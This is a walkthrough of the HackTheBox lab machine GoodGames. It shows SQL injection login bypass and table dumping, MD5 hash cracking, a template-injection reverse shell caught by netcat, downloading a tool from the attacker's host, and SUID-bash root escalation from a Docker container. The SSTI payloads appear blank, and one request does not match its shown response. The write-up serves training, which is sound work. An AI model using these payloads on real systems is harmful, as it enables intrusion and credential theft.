Post

HackTheBox GoodGames

Writeup for HackTheBox GoodGames

HackTheBox GoodGames

Machine Synopsis

GoodGames is an Easy linux machine that showcases the importance of sanitising user inputs in web applications to prevent SQL injection attacks, using strong hashing algorithms in database structures to prevent the extraction and cracking of passwords from a compromised database, along with the dangers of password re-use. It also highlights the dangers of using render_template_string in a Python web application where user input is reflected, allowing Server Side Template Injection (SSTI) attacks. Privilege escalation involves docker hosts enumeration and shows how having admin privileges in a container and a low privilege user on the host machine can be dangerous, allowing attackers to escalate privileges to compromise the system. (Source)

Enumeration

1
2
3
4
5
6
$ nmap -sC -sV 10.10.11.130

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.51
|_http-title: GoodGames | Community and Store
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2

Here is their website out.

website

sign_in

sign_up

coming_soon

Lets use dirb to check if we missed out anything hidden.

1
2
3
4
5
6
7
8
9
10
11
$ dirb http://10.10.11.130 /usr/share/dirb/wordlists/common.txt   
...
---- Scanning URL: http://10.10.11.130/ ----
+ http://10.10.11.130/blog (CODE:200|SIZE:44212)                                                                     
+ http://10.10.11.130/forgot-password (CODE:200|SIZE:32744)                                                          
+ http://10.10.11.130/login (CODE:200|SIZE:9294)                                                                     
+ http://10.10.11.130/logout (CODE:302|SIZE:208)                                                                     
+ http://10.10.11.130/profile (CODE:200|SIZE:9267)                                                                   
+ http://10.10.11.130/server-status (CODE:403|SIZE:277)                                                              
+ http://10.10.11.130/signup (CODE:200|SIZE:33387)                                       
-----------------

Seems like we didn’t miss out anything important. Lets go back to the login page and register a new account.

login_shiro

Once we registered for an account, the server seems to redirect us to /profile page.

1
2
3
4
5
6
7
8
9
10
GET /profile HTTP/1.1
Host: 10.10.11.130
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=.eJw1yzEOgCAMBdC7_Jk4OHbyJoZIgSYFklYm493VwfEN78Kejb2CclTnAG5RFASvYmMrn5ZjNARIAq0BOkrhJB102nzDdLYeG_8H9wO9bRya.YvnU-g.1QzgQMNG2LPeUtsdc83Lp8_gKLQ

Upgrade-Insecure-Requests: 1

profile

Any attempts to edit the profile details results in 500 INTERNAL SERVER ERROR.

error

It seems that we might be on the wrong path. At this point, we might as well try some low hanging fruit such as SQL injection on the login page.

Trying ’or1=1-- failed but ’or1=1-- - succeeded!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 POST /login HTTP/1.1
 Host: 10.10.11.130
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 32
 Origin: http://10.10.11.130
 Connection: close
 Referer: http://10.10.11.130/login
 Upgrade-Insecure-Requests: 1
 
 email=%27+or+1%3D1--+-&password=

admin

1
2
3
4
5
6
7
8
9
10
GET /profile HTTP/1.1
Host: 10.10.11.130
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=.eJw1yz0KgDAMBtC7fHMRXDN5E4kkjYX-QNNO4t3t4v7egzN29RsUObsGaOGUQWApqR7WmhgX9e0eFwKSgPaA3MxUUgWNPlearr0u9j-8Hz1GHgw.YvnWQQ.F7k5U05YRrNwVDXbh3CkIFNPWRM

Upgrade-Insecure-Requests: 1

Exploitation

admin_profile

The only important information that we have here is admin@goodgames.htb. We need to find out more. Lets use SQL injection (UNION SELECT) to find out the number of columns in the database.

1
2
3
4
5
6
7
8
9
- REQUEST -
POST /login HTTP/1.1
...
email=%27+union+select+1%2c2%2c3%2c4--+-&password=

- RESPONSE -
...
                   <h2 class="h4">Welcome 4</h2>
...

' union select 1,2,3,4-- -

There’s 4 columns in the database. Now lets get the database name.

1
2
3
4
5
6
7
8
9
- REQUEST -
POST /login HTTP/1.1
...
email=%27+union+select+1%2c2%2c3%2cdatabase%28%29--+-&password=

- RESPONSE -
...
                   <h2 class="h4">Welcome main</h2>
...

' union select 1,2,3,database()-- -

Now lets view the tables in main.

1
2
3
4
5
6
7
8
9
- REQUEST -
POST /login HTTP/1.1
...
email=%27+union+select+1%2c2%2c3%2cconcat%28table_name%2c+%22%2f%22%29+from+information_schema.tables+where+table_schema+%3d+%27main%27--+-&password=

- RESPONSE -
...
                   <h2 class="h4">Welcome blog/blog_comments/user/</h2>
...

' union select 1,2,3,concat(table_name, "/") from information_schema.tables where table_schema = 'main'-- -

The column we are interested in is user, so lets view that.

1
2
3
4
5
6
7
8
9
- REQUEST -
POST /login HTTP/1.1
...
email=%27+union+select+1%2c2%2c3%2cconcat%28column_name%2c+%22%2f%22%29+from+information_schema.columns+where+table_schema+%3d+%27main%27+and+table_name+%3d+%27user%27--+-&password=

- RESPONSE -
...
                   <h2 class="h4">Welcome email/id/name/password/</h2>
...

' union select 1,2,3,concat(column_name, "/") from information_schema.columns where table_schema = 'main' and table_name = 'user'-- -

Finally, lets view the users in the table.

1
2
3
4
5
6
7
8
9
10
- REQUEST -
POST /login HTTP/1.1
...
email=%27+union+select+1%2c2%2c3%2cconcat%28column_name%2c+%22%2f%22%29+from+information_schema.columns+where+table_schema+%3d+%27main%27+and+table_name+%3d+%27user%27--+-&password=

- RESPONSE -
...
1:admin:admin@goodgames.htb:2b22337f218b2d82dfc3b6f77e7cb8ec
2:shiro:shiro@gmail.com:5f4dcc3b5aa765d61d8327deb882cf99
...

' union select 1,2,3,concat(id, ":", name, ":", email, ":", password) from user-- -

sqlmap Method

Instead of manually testing for SQL injection, we can just use sqlmap!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
$ cat login_request.txt
POST /login HTTP/1.1
Host: 10.10.11.130
...
Upgrade-Insecure-Requests: 1

email=shiro&password=password

$ sqlmap -r login_request.txt --batch            
...
---
Parameter: email (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=shiro' AND (SELECT 5981 FROM (SELECT(SLEEP(5)))BwdU) AND 'rWMN'='rWMN&password=password
---
[19:37:27] [INFO] the back-end DBMS is MySQL
...

$ sqlmap -r login_request.txt --batch --dbs
...
[19:40:57] [INFO] retrieved: 
[19:41:02] [INFO] adjusting time delay to 1 second due to good response times
information_schema
[19:42:00] [INFO] retrieved: main
available databases [2]:
[*] information_schema
[*] main
...

$ sqlmap -r login_request.txt --batch -D main --tables
...
[19:44:36] [INFO] retrieved: blog
[19:44:51] [INFO] retrieved: blog_comments
[19:45:28] [INFO] retrieved: user
Database: main
[3 tables]
+---------------+
| user          |
| blog          |
| blog_comments |
+---------------+
...

$ sqlmap -r login_request.txt --batch -D main -T user --dump
...
[19:54:36] [INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'                            
Database: main                                                                                                       
Table: user
[2 entries]
+----+-------+---------------------+---------------------------------------------+
| id | name  | email               | password                                    |
+----+-------+---------------------+---------------------------------------------+
| 1  | admin | admin@goodgames.htb | 2b22337f218b2d82dfc3b6f77e7cb8ec            |
| 2  | shiro | shiro@gmail.com     | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+----+-------+---------------------+---------------------------------------------+
...

We have the admin password hash! Lets identify the hash and try to brute-force it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ hash-identifier         
...

 HASH: 2b22337f218b2d82dfc3b6f77e7cb8ec

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
...
                                             
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt -format=Raw-MD5
...
superadministrator (?)     
...

We found the password superadministrator.

At the top right of the admin’s profile page, we can find another hidden login page by clicking on the gear icon. However, to access this website, we have to add the subdomain to our /etc/hosts file.

1
2
3
4
$ cat /etc/hosts
...
10.10.11.130	goodgames.htb internal-administration.goodgames.htb
...

internal_login

Take note that the web server might be using (Python) Flask!

Lets try logging in using the admin account found - admin:superadministrator.

internal_dashboard

Looking around the internal webpage, I found an interesting function in the /settings page that allowed us to change some general information.

internal_settings

- REQUEST -
GET /settings HTTP/1.1
Host: internal-administration.goodgames.htb
...

- RESPONSE -
HTTP/1.1 200 OK
Date: Mon, 15 Aug 2022 11:48:28 GMT
Server: Werkzeug/2.0.2 Python/3.6.7
Content-Type: text/html; charset=utf-8
Vary: Cookie,Accept-Encoding
Connection: close
Content-Length: 32559
...

Looking at the response, the site seems to be running on Python. Since the website is running on a Python server, we can test for Server Side Template Injection (SSTI)!

For this challenge, I tried using 0 as a payload for the Full Name input.

ssti_test

The name was updated to the expected output - 1!

PayloadAllTheThings showed that we can exploit the SSTI by calling ``.

ssti_id

Now, we can just change the id portion of the payload to a reverse shell code.

1

Before we execute the code, we should open a netcat listener.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ nc -nlvp 1234                   
listening on [any] 1234 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.11.130] 48710
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@3a453ab39d3d:/backend# whoami
root

root@3a453ab39d3d:/backend# ls -la
total 28
drwxr-xr-x 1 root root 4096 Nov  5  2021 .
drwxr-xr-x 1 root root 4096 Nov  5  2021 ..
-rw-r--r-- 1 root root  122 Nov  3  2021 Dockerfile
drwxr-xr-x 1 root root 4096 Nov  3  2021 project
-rw-r--r-- 1 root root  208 Nov  3  2021 requirements.txt

This was a Docker container.

Privilege Escalation

Lets look around the container to check if we can find anything interesting.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@3a453ab39d3d:/backend# cd /home
root@3a453ab39d3d:/home# ls -la
total 12
drwxr-xr-x 1 root root 4096 Nov  5  2021 .
drwxr-xr-x 1 root root 4096 Nov  5  2021 ..
drwxr-xr-x 2 1000 1000 4096 Dec  2  2021 augustus

root@3a453ab39d3d:/home# cd augustus
root@3a453ab39d3d:/home/augustus# ls -la
total 24
drwxr-xr-x 2 1000 1000 4096 Dec  2  2021 .
drwxr-xr-x 1 root root 4096 Nov  5  2021 ..
lrwxrwxrwx 1 root root    9 Nov  3  2021 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000  220 Oct 19  2021 .bash_logout
-rw-r--r-- 1 1000 1000 3526 Oct 19  2021 .bashrc
-rw-r--r-- 1 1000 1000  807 Oct 19  2021 .profile
-rw-r----- 1 root 1000   33 Aug 15 04:33 user.txt

At this point, I was going round in circles. A writeup from 0xdf showed that we needed to check if the user augustus was in the /etc/passwd file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@3a453ab39d3d:/home/augustus# cat /etc/passwd | grep augustus

root@3a453ab39d3d:/home/augustus# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false

As there wasn’t any augustus in /etc/passwd, it might indicate that this home directory is mounted into the container from the host.

1
2
root@3a453ab39d3d:/home/augustus# mount | grep augustus
/dev/sda1 on /home/augustus type ext4 (rw,relatime,errors=remount-ro)

Now, we have to find the Docker’s host. We can do this by using a static binary of nmap from this GitHub repository.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
- Netcat Listener -
root@3a453ab39d3d:/home/augustus# ip addr                           
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:13:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.19.0.2/16 brd 172.19.255.255 scope global eth0
       valid_lft forever preferred_lft forever

- Own Terminal -
$ wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/nmap

- Netcat Listener -
root@3a453ab39d3d:/home/augustus# wget http://10.10.14.14/nmap
root@3a453ab39d3d:/home/augustus# chmod +x nmap
root@3a453ab39d3d:/home/augustus# ./nmap 172.19.0.2/24
...
Not shown: 1205 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 02:42:D7:2B:35:73 (Unknown)

Nmap scan report for 3a453ab39d3d (172.19.0.2)
Host is up (0.000023s latency).
All 1207 scanned ports on 3a453ab39d3d (172.19.0.2) are closed

From the nmap scan, we can conclude that 172.19.0.1 should be the Docker host. Additionally, port 22 and 80 is open for 172.19.0.1.

Now, we can try to ssh as augustus to 172.19.0.1!

1
2
3
root@3a453ab39d3d:/home/augustus# ssh augustus@172.19.0.1
Pseudo-terminal will not be allocated because stdin is not a terminal.
Host key verification failed.

Hmm.. it seems like we need to get a proper shell. Lets check if python or python3 is available.

1
2
3
4
root@3a453ab39d3d:/home/augustus# which python
/usr/local/bin/python
root@3a453ab39d3d:/home/augustus# which python3
/usr/local/bin/python3

Nice! Both python versions are available. Lets use python3 to spawn a shell and then ssh as augustus.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@3a453ab39d3d:/home/augustus# python3 -c 'import pty;pty.spawn("/bin/bash")'
<tus# python3 -c 'import pty;pty.spawn("/bin/bash")'
ssh augustus@172.19.0.1
The authenticity of host '172.19.0.1 (172.19.0.1)' can't be established.
ECDSA key fingerprint is SHA256:AvB4qtTxSVcB0PuHwoPV42/LAJ9TlyPVbd7G6Igzmj0.
Are you sure you want to continue connecting (yes/no)? yes
yes
Warning: Permanently added '172.19.0.1' (ECDSA) to the list of known hosts.
augustus@172.19.0.1's password: superadministrator
...
augustus@GoodGames:~$ sudo -l
-bash: sudo: command not found
augustus@GoodGames:~$ ls
nmap  user.txt

Notice that the files in augustus’s actual folder seems to mimic the files in the Docker’s augustus folder.

1
2
3
4
5
6
7
8
9
10
augustus@GoodGames:~$ ls -la
total 5832
drwxr-xr-x 2 augustus augustus    4096 Aug 15 14:18 .
drwxr-xr-x 3 root     root        4096 Oct 19  2021 ..
lrwxrwxrwx 1 root     root           9 Nov  3  2021 .bash_history -> /dev/null
-rw-r--r-- 1 augustus augustus     220 Oct 19  2021 .bash_logout
-rw-r--r-- 1 augustus augustus    3526 Oct 19  2021 .bashrc
-rwxr-xr-x 1 root     root     5944464 Aug 15 13:50 nmap
-rw-r--r-- 1 augustus augustus     807 Oct 19  2021 .profile
-rw-r----- 1 root     augustus      33 Aug 15 14:10 user.txt

Recall that we used the docker container to grab nmap from our own server? It shows that it is owned by root. Perhaps we can copy /bin/bash to our current actual directory and then use the docker container to assign it with root privileges + SUID bit set?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
augustus@GoodGames:~$ cp /bin/bash .
augustus@GoodGames:~$ ls  
bash  nmap  user.txt
augustus@GoodGames:~$ exit
logout
Connection to 172.19.0.1 closed.

root@3a453ab39d3d:/home/augustus# ls
bash  nmap  user.txt
root@3a453ab39d3d:/home/augustus# chown root:root bash
root@3a453ab39d3d:/home/augustus# chmod +s bash
root@3a453ab39d3d:/home/augustus# ssh augustus@172.19.0.1
augustus@172.19.0.1's password: superadministrator
...
augustus@GoodGames:~$ ls -la
total 7040
drwxr-xr-x 2 augustus augustus    4096 Aug 15 15:01 .
drwxr-xr-x 3 root     root        4096 Oct 19  2021 ..
-rwsr-sr-x 1 root     root     1234376 Aug 15 15:01 bash
lrwxrwxrwx 1 root     root           9 Nov  3  2021 .bash_history -> /dev/null
-rw-r--r-- 1 augustus augustus     220 Oct 19  2021 .bash_logout
-rw-r--r-- 1 augustus augustus    3526 Oct 19  2021 .bashrc
-rwxr-xr-x 1 root     root     5944464 Aug 15 13:50 nmap
-rw-r--r-- 1 augustus augustus     807 Oct 19  2021 .profile
-rw-r----- 1 root     augustus      33 Aug 15 14:10 user.txt
augustus@GoodGames:~$ ./bash -p

bash-5.1# whoami
root
bash-5.1# cat /home/augustus/user.txt
e950d45708b4f0294a0facc97621ef35
bash-5.1# cat /root/root.txt
4c445d98ed713a143512122ca28a9d5f

bash -p preserves the SUID/GUID.

More Linux Privilege Escalation examples can be found here.

This post is licensed under CC BY 4.0 by the author.